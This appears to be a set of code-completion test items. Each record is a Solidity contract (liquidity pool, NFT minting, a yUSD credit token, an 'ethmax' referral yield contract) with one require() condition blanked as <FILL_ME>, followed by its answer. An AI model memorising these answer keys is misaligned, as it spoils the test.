(minted+bamcIds.length+clubIds.length)<=MAX_TOKENS
"INVALID_CYCLE"
// SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "../interfaces/ILiquidityPool.sol"; import "../interfaces/IManager.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import {SafeMathUpgradeable as SafeMath} from "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import {MathUpgradeable as Math} from "@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol"; import {OwnableUpgradeable as Ownable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {ERC20Upgradeable as ERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import {IERC20Upgradeable as IERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {SafeERC20Upgradeable as SafeERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import {PausableUpgradeable as Pausable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "../interfaces/events/BalanceUpdateEvent.sol"; import "../interfaces/events/Destinations.sol"; import "../fxPortal/IFxStateSender.sol"; import "../interfaces/events/IEventSender.sol"; contract Pool is ILiquidityPool, Initializable, ERC20, Ownable, Pausable, IEventSender { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public override underlyer; // Underlying ERC20 token IManager public manager; // implied: deployableLiquidity = underlyer.balanceOf(this) - withheldLiquidity uint256 public override withheldLiquidity; // fAsset holder -> WithdrawalInfo mapping(address => WithdrawalInfo) public override requestedWithdrawals; // NonReentrant bool private _entered; bool public _eventSend; Destinations public destinations; bool public depositsPaused; modifier nonReentrant() { } modifier onEventSend() { } modifier whenDepositsNotPaused() { } function initialize( ERC20 _underlyer, IManager _manager, string memory _name, string memory _symbol ) public initializer { } ///@notice Gets decimals of underlyer so that tAsset decimals will match function decimals() public view override returns (uint8) { } function deposit(uint256 amount) external override whenDepositsNotPaused { } function depositFor(address account, uint256 amount) external override whenDepositsNotPaused { } /// @dev References the WithdrawalInfo for how much the user is permitted to withdraw /// @dev No withdrawal permitted unless currentCycle >= minCycle /// @dev Decrements withheldLiquidity by the withdrawn amount function withdraw(uint256 requestedAmount) external override whenNotPaused nonReentrant { require( requestedAmount <= requestedWithdrawals[msg.sender].amount, "WITHDRAW_INSUFFICIENT_BALANCE" ); require(requestedAmount > 0, "NO_WITHDRAWAL"); require(underlyer.balanceOf(address(this)) >= requestedAmount, "INSUFFICIENT_POOL_BALANCE"); // Checks for manager cycle and if user is allowed to withdraw based on their minimum withdrawal cycle require(<FILL_ME>) requestedWithdrawals[msg.sender].amount = requestedWithdrawals[msg.sender].amount.sub( requestedAmount ); // If full amount withdrawn delete from mapping if (requestedWithdrawals[msg.sender].amount == 0) { delete requestedWithdrawals[msg.sender]; } withheldLiquidity = withheldLiquidity.sub(requestedAmount); _burn(msg.sender, requestedAmount); underlyer.safeTransfer(msg.sender, requestedAmount); bytes32 eventSig = "Withdraw"; encodeAndSendData(eventSig, msg.sender); } /// @dev Adjusts the withheldLiquidity as necessary /// @dev Updates the WithdrawalInfo for when a user can withdraw and for what requested amount function requestWithdrawal(uint256 amount) external override { } function preTransferAdjustWithheldLiquidity(address sender, uint256 amount) internal { } function approveManager(uint256 amount) public override onlyOwner { } /// @dev Adjust withheldLiquidity and requestedWithdrawal if sender does not have sufficient unlocked balance for the transfer function transfer(address recipient, uint256 amount) public override whenNotPaused nonReentrant returns (bool) { } /// @dev Adjust withheldLiquidity and requestedWithdrawal if sender does not have sufficient unlocked balance for the transfer function transferFrom( address sender, address recipient, uint256 amount ) public override whenNotPaused nonReentrant returns (bool) { } function pauseDeposit() external override onlyOwner { } function unpauseDeposit() external override onlyOwner { } function pause() external override onlyOwner { } function unpause() external override onlyOwner { } function setDestinations(address _fxStateSender, address _destinationOnL2) external override onlyOwner { } function setEventSend(bool _eventSendSet) external override onlyOwner { } function _deposit( address fromAccount, address toAccount, uint256 amount ) internal { } function encodeAndSendData(bytes32 _eventSig, address _user) private onEventSend { } }
requestedWithdrawals[msg.sender].minCycle<=manager.getCurrentCycleIndex(),"INVALID_CYCLE"
371,582
requestedWithdrawals[msg.sender].minCycle<=manager.getCurrentCycleIndex()
null
pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { } function _setOwner(address newOwner) private { } } pragma solidity ^0.8.0; contract YAYAUDAO is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(_mintAmount > 0); require(_mintAmount <= 10); require(<FILL_ME>) if (msg.sender != owner()) { require(msg.value >= 0.05 ether * _mintAmount); payable(0x81006186e0CE51442cc10757e1A74363Da3f8BF4).transfer(msg.value); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function withdraw() public payable onlyOwner { } function ethbalance() public view onlyOwner returns(uint) { } receive() payable external { } }
supply+_mintAmount<=2000
371,613
supply+_mintAmount<=2000
"!supported"
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function decimals() public view returns (uint8) { } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b) internal pure returns (uint) { } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { } function mul(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b) internal pure returns (uint) { } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { } } library Address { function isContract(address account) internal view returns (bool) { } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { } function safeApprove(IERC20 token, address spender, uint value) internal { } function callOptionalReturn(IERC20 token, bytes memory data) private { } } interface Oracle { function getPricePerFullShare() external view returns (uint); } contract yUSD is ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping(address => uint) public userCredit; // user => token => credit mapping(address => mapping(address => uint)) public credit; // user => token => balance mapping(address => mapping(address => uint)) public balances; // user => address[] markets (credit markets supplied to) mapping(address => address[]) public markets; address[] public market = [ 0x597aD1e0c13Bfe8025993D9e79C69E1c0233522e, // yUSDC 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c, // yCRV 0x37d19d1c4E1fa9DC47bD1eA12f742a0887eDa74a, // yTUSD 0xACd43E627e64355f1861cEC6d3a6688B31a6F952, // yDAI 0x2f08119C6f07c006695E079AAFc638b8789FAf18, // yUSDT 0x2994529C0652D127b7842094103715ec5299bBed // yBUSD ]; mapping(address => bool) public supported; uint public constant BASE = 1e18; constructor () public ERC20Detailed("Yearn USD", "yUSD", 18) { } function setGovernance(address _governance) external { } function approveMarket(address _market) external { } // Can only stop deposited function revokeMarket(address _market) external { } function factor() public view returns (uint) { } function depositAll(address token) external { } function deposit(address token, uint amount) public { } function getCredit(address owner, address token) public view returns (uint) { } function _getCredit(address owner, address token, uint _factor) internal view returns (uint) { } function getUserCredit(address owner) public view returns (uint) { } function _getUserCredit(address owner, uint _factor) internal view returns (uint) { } function _deposit(address token, uint amount) internal { require(<FILL_ME>) uint _value = Oracle(token).getPricePerFullShare().mul(amount).div(uint256(10)**ERC20Detailed(token).decimals()); require(_value > 0, "!value"); IERC20(token).safeTransferFrom(msg.sender, address(this), amount); // Assign collateral to the user balances[msg.sender][token] = balances[msg.sender][token].add(amount); credit[msg.sender][token] = credit[msg.sender][token].add(_value); userCredit[msg.sender] = userCredit[msg.sender].add(_value); _mint(msg.sender, _value); markets[msg.sender].push(token); } function withdrawAll(address token) external { } function withdraw(address token, uint amount) external { } // UNSAFE: No slippage protection, should not be called directly function _withdraw(address token, uint amount) internal { } function getMarkets(address owner) external view returns (address[] memory) { } function adjusted(uint amount) external view returns (uint) { } mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { } function totalSupplyBase() public view returns (uint) { } function balanceOf(address account) public view returns (uint) { } function balanceOfBase(address account) public view returns (uint) { } function transfer(address recipient, uint amount) public returns (bool) { } function allowance(address owner, address spender) public view returns (uint) { } function _allowance(address owner, address spender, uint _factor) internal view returns (uint) { } function approve(address spender, uint amount) public returns (bool) { } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { } function increaseAllowance(address spender, uint addedValue) public returns (bool) { } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { } function _transfer(address sender, address recipient, uint amount, uint sent) internal { } function _mint(address account, uint amount) internal { } function _burn(address account, uint amount, uint _factor) internal { } function _approve(address owner, address spender, uint amount) internal { } }
supported[token],"!supported"
371,620
supported[token]
"Limit per wallet achieved, sale not allowed"
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract FearsomeFoxes is ERC721, ERC721Enumerable, Ownable { using Strings for string; bool public saleIsActive = false; uint public nextId = 1; string private _baseTokenURI; uint[] public mintedTokenTypes; uint[] public typePrice; uint public limitPerWallet = 1; address payable private recipient1 = payable(0x0F7961EE81B7cB2B859157E9c0D7b1A1D9D35A5D); address payable private recipient2 = payable(0xE957E3c129002504e0E0Ae9d4aF6296722A063b4); constructor() ERC721("Fearsome Foxes", "FF") { } function mintToken(uint256 amount, uint tokenType) external payable { require(saleIsActive, "Sale must be active to mint"); require(amount > 0 && amount <= 10, "Max 10 NFTs per transaction"); require(tokenType >= 0 && tokenType < typePrice.length, "This type doesn't exist"); require(msg.value >= typePrice[tokenType] * amount, "Not enough ETH for transaction"); require(<FILL_ME>) for (uint i = 0; i < amount; i++) { _safeMint(msg.sender, nextId); nextId++; mintedTokenTypes.push(tokenType); } } function airdropToken(address to, uint256 amount, uint tokenType) external onlyOwner { } function setPrice(uint256 newPrice, uint tokenType) external onlyOwner { } function setLimitPerWallet(uint newLimit) external onlyOwner { } function howManyTypes() external view returns (uint nTypes) { } function flipSaleState() external onlyOwner { } function withdraw() external { } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { } function tokensOfOwner(address _owner) external view returns(uint256[] memory) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { } function _setBaseURI(string memory baseURI) internal virtual { } function _baseURI() internal view override returns (string memory) { } function setBaseURI(string memory baseURI) external onlyOwner { } function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { } }
balanceOf(msg.sender)+amount<=limitPerWallet,"Limit per wallet achieved, sale not allowed"
371,642
balanceOf(msg.sender)+amount<=limitPerWallet
"nothing pending to claim"
// SPDX-License-Identifier: MIT pragma solidity ^0.6.10; // ------------------------------------------------------------------------------------- // _______ .___________. __ __ .___ ___. ___ ___ ___ ----------- // | ____|| || | | | | \/ | / \ \ \ / / --------- // | |__ `---| |----`| |__| | | \ / | / ^ \ \ V / ------- // | __| | | | __ | | |\/| | / /_\ \ > < ----- // | |____ | | | | | | | | | | / _____ \ / . \ --- // |_______| |__| |__| |__| |__| |__| /__/ \__\ /__/ \__\ -- // - // ----------------------------------------------------------------------- contract ethmax { using SafeMath for uint256; uint256 constant public MIN_AMOUNT = 0.1 ether; uint256 constant public GAS_FEE_SUBSIDE = 0.02 ether; uint256 constant public BASE_PERCENT = 1390; uint256[] public REFERRAL_PERCENTS = [5000000, 2000000, 1000000]; uint256 constant public PL_SHARE = 10000000; uint256 constant public PERCENTS_DIVIDER = 100000000; // 1000000 = 1% uint256 constant public CONTRACT_BALANCE_STEP = 100 ether; uint256 constant public TIME_STEP = 1 minutes; uint256 constant public TIME_STEP2 = 1 hours; uint256 public totalUsers; uint256 public totalInvested; uint256 public totalWithdrawn; uint256 public totalDeposits; address payable public PL_Address; address public EMAX_TokenAddress; struct Deposit { uint256 amount; uint256 withdrawn; uint256 start; } struct User { Deposit[] deposits; uint256 checkpoint; address referrer; uint256 bonus; uint256 UserTotalWithdrawn; } mapping (address => User) internal users; mapping (address => uint256) internal ethMaxTokensToClaim; constructor(address payable PoolAddr, address _ethMaxTokenAddress) public { } // Add ETH Function. // if no referrer, referrer = 0x0000000000000000000000000000000000000000 function add(address referrer) external payable { } /***Airdrop of tokens**/ function calculateAirdropTokens(uint256 investment) internal pure returns (uint256){ } // Withdraw Function. Will withdraw all pending profits & referral rewards. function withdraw() external { } //Claim EMAX Airdrop function claim() external { require(<FILL_ME>) /***Airdrop of tokens**/ uint256 tokensToClaim = ethMaxTokensToClaim[msg.sender]; ethMaxTokensToClaim[msg.sender] = 0; require(IERC20(EMAX_TokenAddress).transfer(msg.sender, tokensToClaim), "airdrop failed"); } //get ETHmax Contract Balance function getContractBalance() public view returns (uint256) { } function min(uint a, uint b) internal pure returns (uint) { } //get ETHmax Boost Rate function getBoostRate() public view returns (uint256) { } //get user Base Rate function getUserBaseRate(address userAddress) public view returns (uint256) { } //get Current Return Rate function getCurrentReturnRate() public view returns (uint256){ } //get Total Rate = Base Rate + Boost Rate + Hold Bonus Rate function getUserTotalRate(address userAddress) public view returns (uint256) { } // get user's total profits function getUserDividends(address userAddress) public view returns (uint256) { } function getUserCheckpoint(address userAddress) public view returns(uint256) { } function getUserReferrer(address userAddress) public view returns(address) { } // get user's Referral Reward function getUserReferralBonus(address userAddress) public view returns(uint256) { } // get user's Available to withdraw function getUserAvailable(address userAddress) public view returns(uint256) { } function isActive(address userAddress) public view returns (bool) { } function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) { } function getUserAmountOfDeposits(address userAddress) public view returns(uint256) { } // get user's total ETH added function getUserTotalDeposits(address userAddress) public view returns(uint256) { } // get user's profit-making eth amount function getUserProfitMakingEth(address userAddress) public view returns(uint256) { } // get user Total Withdrawded (Profits + Referral) function getUserTotalWithdrawn(address userAddress) public view returns(uint256) { } // get user Total Withdrawded Profits function getUserTotalWithdrawnDividends(address userAddress) public view returns(uint256) { } // get user Total Earned function getUserTotalProfits(address userAddress) public view returns (uint256) { } // get user earning status. function getUserStatus (address userAddress) public view returns(bool) { } // get user pending EMAX. function getUserPendingEMAX(address UserAddress) external view returns(uint256){ } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } } interface IERC20 { /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function balanceOf(address tokenOwner) external view returns (uint256 balance); }
ethMaxTokensToClaim[msg.sender]>0,"nothing pending to claim"
371,685
ethMaxTokensToClaim[msg.sender]>0
"airdrop failed"
// SPDX-License-Identifier: MIT pragma solidity ^0.6.10; // ------------------------------------------------------------------------------------- // _______ .___________. __ __ .___ ___. ___ ___ ___ ----------- // | ____|| || | | | | \/ | / \ \ \ / / --------- // | |__ `---| |----`| |__| | | \ / | / ^ \ \ V / ------- // | __| | | | __ | | |\/| | / /_\ \ > < ----- // | |____ | | | | | | | | | | / _____ \ / . \ --- // |_______| |__| |__| |__| |__| |__| /__/ \__\ /__/ \__\ -- // - // ----------------------------------------------------------------------- contract ethmax { using SafeMath for uint256; uint256 constant public MIN_AMOUNT = 0.1 ether; uint256 constant public GAS_FEE_SUBSIDE = 0.02 ether; uint256 constant public BASE_PERCENT = 1390; uint256[] public REFERRAL_PERCENTS = [5000000, 2000000, 1000000]; uint256 constant public PL_SHARE = 10000000; uint256 constant public PERCENTS_DIVIDER = 100000000; // 1000000 = 1% uint256 constant public CONTRACT_BALANCE_STEP = 100 ether; uint256 constant public TIME_STEP = 1 minutes; uint256 constant public TIME_STEP2 = 1 hours; uint256 public totalUsers; uint256 public totalInvested; uint256 public totalWithdrawn; uint256 public totalDeposits; address payable public PL_Address; address public EMAX_TokenAddress; struct Deposit { uint256 amount; uint256 withdrawn; uint256 start; } struct User { Deposit[] deposits; uint256 checkpoint; address referrer; uint256 bonus; uint256 UserTotalWithdrawn; } mapping (address => User) internal users; mapping (address => uint256) internal ethMaxTokensToClaim; constructor(address payable PoolAddr, address _ethMaxTokenAddress) public { } // Add ETH Function. // if no referrer, referrer = 0x0000000000000000000000000000000000000000 function add(address referrer) external payable { } /***Airdrop of tokens**/ function calculateAirdropTokens(uint256 investment) internal pure returns (uint256){ } // Withdraw Function. Will withdraw all pending profits & referral rewards. function withdraw() external { } //Claim EMAX Airdrop function claim() external { require(ethMaxTokensToClaim[msg.sender] > 0, "nothing pending to claim"); /***Airdrop of tokens**/ uint256 tokensToClaim = ethMaxTokensToClaim[msg.sender]; ethMaxTokensToClaim[msg.sender] = 0; require(<FILL_ME>) } //get ETHmax Contract Balance function getContractBalance() public view returns (uint256) { } function min(uint a, uint b) internal pure returns (uint) { } //get ETHmax Boost Rate function getBoostRate() public view returns (uint256) { } //get user Base Rate function getUserBaseRate(address userAddress) public view returns (uint256) { } //get Current Return Rate function getCurrentReturnRate() public view returns (uint256){ } //get Total Rate = Base Rate + Boost Rate + Hold Bonus Rate function getUserTotalRate(address userAddress) public view returns (uint256) { } // get user's total profits function getUserDividends(address userAddress) public view returns (uint256) { } function getUserCheckpoint(address userAddress) public view returns(uint256) { } function getUserReferrer(address userAddress) public view returns(address) { } // get user's Referral Reward function getUserReferralBonus(address userAddress) public view returns(uint256) { } // get user's Available to withdraw function getUserAvailable(address userAddress) public view returns(uint256) { } function isActive(address userAddress) public view returns (bool) { } function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) { } function getUserAmountOfDeposits(address userAddress) public view returns(uint256) { } // get user's total ETH added function getUserTotalDeposits(address userAddress) public view returns(uint256) { } // get user's profit-making eth amount function getUserProfitMakingEth(address userAddress) public view returns(uint256) { } // get user Total Withdrawded (Profits + Referral) function getUserTotalWithdrawn(address userAddress) public view returns(uint256) { } // get user Total Withdrawded Profits function getUserTotalWithdrawnDividends(address userAddress) public view returns(uint256) { } // get user Total Earned function getUserTotalProfits(address userAddress) public view returns (uint256) { } // get user earning status. function getUserStatus (address userAddress) public view returns(bool) { } // get user pending EMAX. function getUserPendingEMAX(address UserAddress) external view returns(uint256){ } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } } interface IERC20 { /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function balanceOf(address tokenOwner) external view returns (uint256 balance); }
IERC20(EMAX_TokenAddress).transfer(msg.sender,tokensToClaim),"airdrop failed"
371,685
IERC20(EMAX_TokenAddress).transfer(msg.sender,tokensToClaim)
"must use nft you own"
pragma solidity ^0.6.1; contract Blockmon is ERC721, Ownable { using SafeERC20 for IERC20; using Counters for Counters.Counter; Counters.Counter private _rewardIds; string public _contractURI; IERC20 public token; INFTStaker public nft; // number of created mons (not counting merges) uint256 public numMonsCreated; // tinkerable variables uint256 public minStakeTime; uint256 public minStakeAmt; uint256 public tokenPrice; uint256 public series; uint256 public maxMons; uint256 public mergePrice; uint256 public mergeTime; uint256 public genMergeLag; bool public canMerge; struct Mon { address miner; uint256 unlockBlock; uint256 parent1; uint256 parent2; uint256 gen; uint256 amount; uint256 duration; uint256 powerBits; uint256 series; } mapping(uint256 => Mon) public monRecords; constructor(string memory name, string memory symbol) ERC721(name, symbol) public { } function _createNewMonster(address to, uint256 unlockBlock, uint256 parent1, uint256 parent2, uint256 gen, uint256 amount, uint256 duration // series is a global variable so no need to pass it in ) private { } // Burn gem to get a new monster function mineMonster(uint256 gemId) public { require(<FILL_ME>) (, uint256 amount, uint256 start, uint256 end, ) = nft.rewardRecords(gemId); if (end == 0) { end = block.number; } require((end-start) >= minStakeTime, "nft is not ready"); require(amount >= minStakeAmt, "staked amt is not high enough"); require(numMonsCreated < maxMons, "no new mons out yet"); _createNewMonster(msg.sender, 0, 0, 0, 0, amount, end-start); numMonsCreated += 1; nft.burn(gemId); } // Directly purchase monster with the set token function buyMonster() public { } // Breed a monster // Only allowed during certain times function mergeMonsters(uint256 id1, uint256 id2) public { } function setMinStakeAmt(uint256 a) public onlyOwner { } function setMinStakeTime(uint256 t) public onlyOwner { } function setTokenPrice(uint256 p) public onlyOwner { } function setSeries(uint256 s) public onlyOwner { } function setMaxMons(uint256 m) public onlyOwner { } function setMergePrice(uint256 p) public onlyOwner { } function setMergeTime(uint256 t) public onlyOwner { } function setGenMergeLag(uint256 g) public onlyOwner { } function setCanMerge(bool b) public onlyOwner{ } function setTokenAddress(address tokenAddress) public onlyOwner { } function setNFTAddress(address nftAddress) public onlyOwner { } function setBaseURI(string memory uri) public onlyOwner { } function setContractURI(string memory uri) public onlyOwner { } function moveTokens(address tokenAddress, address to, uint256 numTokens) public onlyOwner { } function contractURI() public view returns (string memory) { } function getTotalMons() public view returns (uint256) { } }
nft.ownerOf(gemId)==msg.sender,"must use nft you own"
371,705
nft.ownerOf(gemId)==msg.sender
"nft is not ready"
pragma solidity ^0.6.1; contract Blockmon is ERC721, Ownable { using SafeERC20 for IERC20; using Counters for Counters.Counter; Counters.Counter private _rewardIds; string public _contractURI; IERC20 public token; INFTStaker public nft; // number of created mons (not counting merges) uint256 public numMonsCreated; // tinkerable variables uint256 public minStakeTime; uint256 public minStakeAmt; uint256 public tokenPrice; uint256 public series; uint256 public maxMons; uint256 public mergePrice; uint256 public mergeTime; uint256 public genMergeLag; bool public canMerge; struct Mon { address miner; uint256 unlockBlock; uint256 parent1; uint256 parent2; uint256 gen; uint256 amount; uint256 duration; uint256 powerBits; uint256 series; } mapping(uint256 => Mon) public monRecords; constructor(string memory name, string memory symbol) ERC721(name, symbol) public { } function _createNewMonster(address to, uint256 unlockBlock, uint256 parent1, uint256 parent2, uint256 gen, uint256 amount, uint256 duration // series is a global variable so no need to pass it in ) private { } // Burn gem to get a new monster function mineMonster(uint256 gemId) public { require(nft.ownerOf(gemId) == msg.sender, "must use nft you own"); (, uint256 amount, uint256 start, uint256 end, ) = nft.rewardRecords(gemId); if (end == 0) { end = block.number; } require(<FILL_ME>) require(amount >= minStakeAmt, "staked amt is not high enough"); require(numMonsCreated < maxMons, "no new mons out yet"); _createNewMonster(msg.sender, 0, 0, 0, 0, amount, end-start); numMonsCreated += 1; nft.burn(gemId); } // Directly purchase monster with the set token function buyMonster() public { } // Breed a monster // Only allowed during certain times function mergeMonsters(uint256 id1, uint256 id2) public { } function setMinStakeAmt(uint256 a) public onlyOwner { } function setMinStakeTime(uint256 t) public onlyOwner { } function setTokenPrice(uint256 p) public onlyOwner { } function setSeries(uint256 s) public onlyOwner { } function setMaxMons(uint256 m) public onlyOwner { } function setMergePrice(uint256 p) public onlyOwner { } function setMergeTime(uint256 t) public onlyOwner { } function setGenMergeLag(uint256 g) public onlyOwner { } function setCanMerge(bool b) public onlyOwner{ } function setTokenAddress(address tokenAddress) public onlyOwner { } function setNFTAddress(address nftAddress) public onlyOwner { } function setBaseURI(string memory uri) public onlyOwner { } function setContractURI(string memory uri) public onlyOwner { } function moveTokens(address tokenAddress, address to, uint256 numTokens) public onlyOwner { } function contractURI() public view returns (string memory) { } function getTotalMons() public view returns (uint256) { } }
(end-start)>=minStakeTime,"nft is not ready"
371,705
(end-start)>=minStakeTime
"need to own monster"
pragma solidity ^0.6.1; contract Blockmon is ERC721, Ownable { using SafeERC20 for IERC20; using Counters for Counters.Counter; Counters.Counter private _rewardIds; string public _contractURI; IERC20 public token; INFTStaker public nft; // number of created mons (not counting merges) uint256 public numMonsCreated; // tinkerable variables uint256 public minStakeTime; uint256 public minStakeAmt; uint256 public tokenPrice; uint256 public series; uint256 public maxMons; uint256 public mergePrice; uint256 public mergeTime; uint256 public genMergeLag; bool public canMerge; struct Mon { address miner; uint256 unlockBlock; uint256 parent1; uint256 parent2; uint256 gen; uint256 amount; uint256 duration; uint256 powerBits; uint256 series; } mapping(uint256 => Mon) public monRecords; constructor(string memory name, string memory symbol) ERC721(name, symbol) public { } function _createNewMonster(address to, uint256 unlockBlock, uint256 parent1, uint256 parent2, uint256 gen, uint256 amount, uint256 duration // series is a global variable so no need to pass it in ) private { } // Burn gem to get a new monster function mineMonster(uint256 gemId) public { } // Directly purchase monster with the set token function buyMonster() public { } // Breed a monster // Only allowed during certain times function mergeMonsters(uint256 id1, uint256 id2) public { require(canMerge == true, "can't merge yet"); require(id1 != id2, "can't merge the same monster"); // get refs to structs Mon memory mon1 = monRecords[id1]; Mon memory mon2 = monRecords[id2]; // ensure they are valid for merging require(mon1.unlockBlock < block.number, "not ready yet"); require(mon2.unlockBlock < block.number, "not ready yet"); require(<FILL_ME>) require(ownerOf(id2) == msg.sender, "need to own monster"); // set both parent monsters to the new unlock date monRecords[id1].unlockBlock = block.number + mergeTime + mon1.gen*genMergeLag; monRecords[id2].unlockBlock = block.number + mergeTime + mon2.gen*genMergeLag; // set numAncestors1 to be the minimum of both uint256 gen1 = mon1.gen; uint256 gen2 = mon2.gen; if (gen2 < gen1) { gen1 = gen2; } // mint the user their merged monster _createNewMonster( msg.sender, block.number + mergeTime + gen1*genMergeLag, id1, id2, gen1+1, mon1.amount + mon2.amount, mon1.duration + mon2.duration ); // Pay the merge fee token.safeTransferFrom(msg.sender, address(this), mergePrice); } function setMinStakeAmt(uint256 a) public onlyOwner { } function setMinStakeTime(uint256 t) public onlyOwner { } function setTokenPrice(uint256 p) public onlyOwner { } function setSeries(uint256 s) public onlyOwner { } function setMaxMons(uint256 m) public onlyOwner { } function setMergePrice(uint256 p) public onlyOwner { } function setMergeTime(uint256 t) public onlyOwner { } function setGenMergeLag(uint256 g) public onlyOwner { } function setCanMerge(bool b) public onlyOwner{ } function setTokenAddress(address tokenAddress) public onlyOwner { } function setNFTAddress(address nftAddress) public onlyOwner { } function setBaseURI(string memory uri) public onlyOwner { } function setContractURI(string memory uri) public onlyOwner { } function moveTokens(address tokenAddress, address to, uint256 numTokens) public onlyOwner { } function contractURI() public view returns (string memory) { } function getTotalMons() public view returns (uint256) { } }
ownerOf(id1)==msg.sender,"need to own monster"
371,705
ownerOf(id1)==msg.sender
"need to own monster"
pragma solidity ^0.6.1; contract Blockmon is ERC721, Ownable { using SafeERC20 for IERC20; using Counters for Counters.Counter; Counters.Counter private _rewardIds; string public _contractURI; IERC20 public token; INFTStaker public nft; // number of created mons (not counting merges) uint256 public numMonsCreated; // tinkerable variables uint256 public minStakeTime; uint256 public minStakeAmt; uint256 public tokenPrice; uint256 public series; uint256 public maxMons; uint256 public mergePrice; uint256 public mergeTime; uint256 public genMergeLag; bool public canMerge; struct Mon { address miner; uint256 unlockBlock; uint256 parent1; uint256 parent2; uint256 gen; uint256 amount; uint256 duration; uint256 powerBits; uint256 series; } mapping(uint256 => Mon) public monRecords; constructor(string memory name, string memory symbol) ERC721(name, symbol) public { } function _createNewMonster(address to, uint256 unlockBlock, uint256 parent1, uint256 parent2, uint256 gen, uint256 amount, uint256 duration // series is a global variable so no need to pass it in ) private { } // Burn gem to get a new monster function mineMonster(uint256 gemId) public { } // Directly purchase monster with the set token function buyMonster() public { } // Breed a monster // Only allowed during certain times function mergeMonsters(uint256 id1, uint256 id2) public { require(canMerge == true, "can't merge yet"); require(id1 != id2, "can't merge the same monster"); // get refs to structs Mon memory mon1 = monRecords[id1]; Mon memory mon2 = monRecords[id2]; // ensure they are valid for merging require(mon1.unlockBlock < block.number, "not ready yet"); require(mon2.unlockBlock < block.number, "not ready yet"); require(ownerOf(id1) == msg.sender, "need to own monster"); 